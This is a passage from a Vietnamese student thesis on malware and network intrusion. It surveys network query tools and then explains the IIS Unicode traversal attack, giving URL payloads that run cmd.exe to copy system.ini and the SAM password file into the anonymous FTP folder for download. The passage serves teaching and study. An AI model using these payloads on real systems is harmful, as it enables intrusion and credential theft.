Lookup truy vấn những server miền trên Internet để đưa ra thông tin về
host và những server tên miền khác.
Finger truy vấn một số server trên Internet để có thông tin về user đã
đăng ký trên server đó (cung cấp một Finger server đang chạy trên host từ xa).
Whois truy vấn cơ sở dữ liệu tại NICs (Network Information Centers) về

thông tin trên các mạng, các host, user của bất cứ tổ chức nào đã đăng ký với
NIC.
LDAP truy vấn những thư mục mà sử dụng chuẩn LDAP trên Internet.
Rất nhiều tổ chức sử dụng LDAP để tạo nên thông tin về user (như các tên và
địa chỉ thư điện tử) có thể trên Internet và Intranet của họ.
Quote đưa ra những trích dẫn từ Quote server.
Scan tìm kiếm một mạng cụ thể và liệt kê các host dùng TCP/IP mà nó
tìm thấy. Scan cũng có thể xác định các dịch vụ (như FTP, HTTP) trên mỗi host
và liệt kê những cổng hoạt động trên mỗi host. Scan có thể đưa ra một tóm lược
nhanh chóng về cái gì trên mạng của bạn và dịch vụ mạng nào đang chạy.
SNMP truy vấn những giá trị trên những thiết bị thực hiện giao thức quản
lý mạng đơn giản (Simple Network Management Protocol). SNMP có thể cung
cấp một cái nhìn gần nhất về các host và các thiết bị trên mạng của bạn bởi việc
cung cấp thông tin trạng thái và cấu hình về hệ thống hiện thời.
WinNet quét mạng cục bộ của bạn và liệt kê các thiết bị mạng Microsoft
Windows và các nguồn tài nguyên chia sẻ.
Throughput kiểm tra tốc độ truyền dữ liệu gữa máy tính của bạn và máy
tính từ xa.
About hiển thị thông tin mạng về máy tính cục bộ của bạn và mạng cục
bộ của bạn, cũng như thông tin về WS_Ping ProPack.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
22
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Chương 4. MỘT SỐ GIẢI PHÁP CỤ THỂ TẤN CÔNG
TRÊN MẠNG MÁY TÍNH
4.1 TẤN CÔNG MÁY MỤC TIÊU BẰNG CÁCH GIÀNH QUYỀN ĐIỀU
KHIỂN HỆ THỐNG ĐÓ.
Để nắm quyền điểu khiển server, người ta phải chiếm được quyền download và
upload file. Muốn thực hiện điều này, ta cấn tìm hiểu trước hết về một số giao thức sử

dụng trong quá trình giao tiếp mạng đủ để hiểu và ứng dụng vào việc tấn công.
4.1.1 Giao thức HTTP
HTTP (HypeTtext Transfer Protocol – giao thức truyền siêu văn bản) là giao
thức chuẩn trên mạng toàn cầu cho phép truyền các siêu văn bản với các thẻ (tag)
khác nhau. Đây là giao thức hoạt động dựa trên cơ chế yêu cầu/trả lời
(request/response). Giao thức HTTP thường được thực hiện thông qua kết nối
TCP/IP và không yêu cầu thông tin xác thực, vì vậy nó được coi là một giao thức vô
danh. Các phương thức thường xuyên sử dụng trong giao thức HTTP là POST, GET
và HEAD.
4.1.2 Giao thức TFTP
TFTP (Trivial File Transfer Protocol – giao thức truyền file đơn giản)
được thực hiện trên đỉnh giao thức UDP (User Datagram Protocol). TFTP cho
phép trao đổi, di chuyển file trên mạng có sử dụng giao thức UDP. Được thiết kế
nhằm vào sự nhỏ gọn và tính dễ sử dụng, TFTP thiếu nhiều đặc trưng của giao
thức FTP – giao thức truyền file chuẩn, điều duy nhất TFTP cho phép là đọc ghi
file giữa các máy ở xa mà không thể hiện danh sách thư mục hay cung cấp
chứng thực quyền cho người sử dụng.
Giao thức TFTP tự mình thực hiện truy cập và cáng đáng việc giải quyết
vấn đề quyền hạn đối với các file.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
23
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
4.1.3 Giao thức NetBIOS
NetBIOS (Network Basic Input/Output System) là một dịch vụ giao tiếp ở
tầng session trong mô hình OSI 7 tầng. Dịch vụ này cho phép người sử dụng
chia sẻ tài nguyên trên máy mình cho mọi người trong mạng cùng sử dụng như
các file, thư mục, ổ đĩa, máy in thậm chí cả cổng COM. Giao thức này còn được
gọi là chuẩn SMB(System Messege Block). Các mạng dựa trên SMB sử dụng
một số giao thức có cơ sở từ giao thức NetBIOS hơn như “NetBIOS over

NetBEUI ( NetBIOS Extended User Interface - giao diện người dùng mở rộng
trong NetBIOS )” và NetBIOS over TCP/IP. Như vậy, NetBIOS cung cấp các
ứng dụng và giao diện lập trình cho các dịch vụ chia sẻ tài nguyên thông qua
một số giao thức cấp thấp hơn, bao gồm cả giao thức TCP/IP.
Vì giao thức “NetBIOS over TCP/IP” chạy trên họ giao thức TCP/IP – là
họ giao thức chuẩn trên Internet, người ta có thể chia sẻ tài nguyên ngay cả trên
Internet. Nếu máy đích người ta định tấn công cài đặt giao thức “NetBIOS over
TCP/IP”. Ta có thể lợi dụng điều này tấn công, nhất là khi đã khai thác được lỗi
unicode trên hệ thống đó.
Bây giờ người ta sẽ đi vào cụ thể, tìm cách download và upload file trên
IIS mắc lỗi Unicode.
Theo ngầm định, khi cài IIS phiên bản từ 4.0 trở lên, một FTP server sẽ
được tự động cài đặt vào hệ thống. FTP server cho phép người sử dụng vô danh
truy cập vào thư mục \inetpub\ftoproot\ và download các file từ đó (nhưng
không cho phép upload file). Lợi dụng điều này, để download một file nào đó
trên máy đích mắc lỗi unicode, ta thực hiện hai bước sau:
+ Bước 1: Copy file download (giả sử là file c:\system.ini) vào thư mục
\inetpub\ftoproot\ bằng URL:
%c1%1c /winnt/system32/cmd.exe?/c+copy+c:\system.ini+c:\inetpub\ftoproot\
+ Bước 2: Sử dụng FTP vô danh đăng nhập vào máy tính đích download
file system.ini về.
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
24
Tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối
Internet
Kết hợp với lệnh dir đã trình bày ở trên (Mục 3.4), phương pháp này cho
phép ta lấy được hầu hết file quan trọng trên server bị tấn công, đây có thể nói là
một thành công lớn đối với người tấn công. Tuy nhiên phương pháp này bị hạn
chế ở chỗ nó không cho phép download tất cả các file. Cụ thể, người ta biết rằng
Windows NT và Windows 2000 lưu trữ một bản sao file SAM (Security

Account Manager) trong thư mục \WINNT\repair\, trong đó lưu trữ thông tin về
account sử dụng hệ thống bao gồm Username và Password đã được mã hóa. Nếu
copy được file này, ta sẽ dùng chương trình bẻ khóa giải mã nó và trở nên có
toàn quyền đối với Website, một cách chính quy. Tuy nhiên lệnh copy file SAM
này không thực hiện được. Nếu gõ vào thanh địa chỉ dòng lệnh:

%c1%1c /winnt/system32/cmd.exe?/c+copy+c:\WINNT\repair\SAM+c:\inetpu
b\ftoproot\
trình duyệt sẽ báo lỗi:
CGI Error
The specified CGI application misbehaved by not returning a complete set
ò HTTP headers. The headers Internet did return are:
Access is denied.
0 file (s) copied.
Vấn đề nằm ở chỗ vượt ra ngoài thư mục web bằng lỗi Unicode chỉ cho
phép người ta có quyền truy cập hệ thống là IUSR_machinename còn truy cập
vào thư mục winnt\repair, nơi lưu trữ các file SAM vô cùng quan trọng, chỉ có
thể thực hiện với quyền truy cập là Administrator. Để làm được điều này, người
ta cần upload một số công cụ hỗ trợ việc thăm dò từ xa.
Vì server FTP không cho phép người sử dụng upload file lên hệ thống
nên ta phải sử dụng phương pháp khác. Điều này có thể thực hiện thông qua các
bước như sau:
Sinh viên:Vũ Thị Thu Hằng - Lớp CT 702 - Trường ĐH DLHP
25

×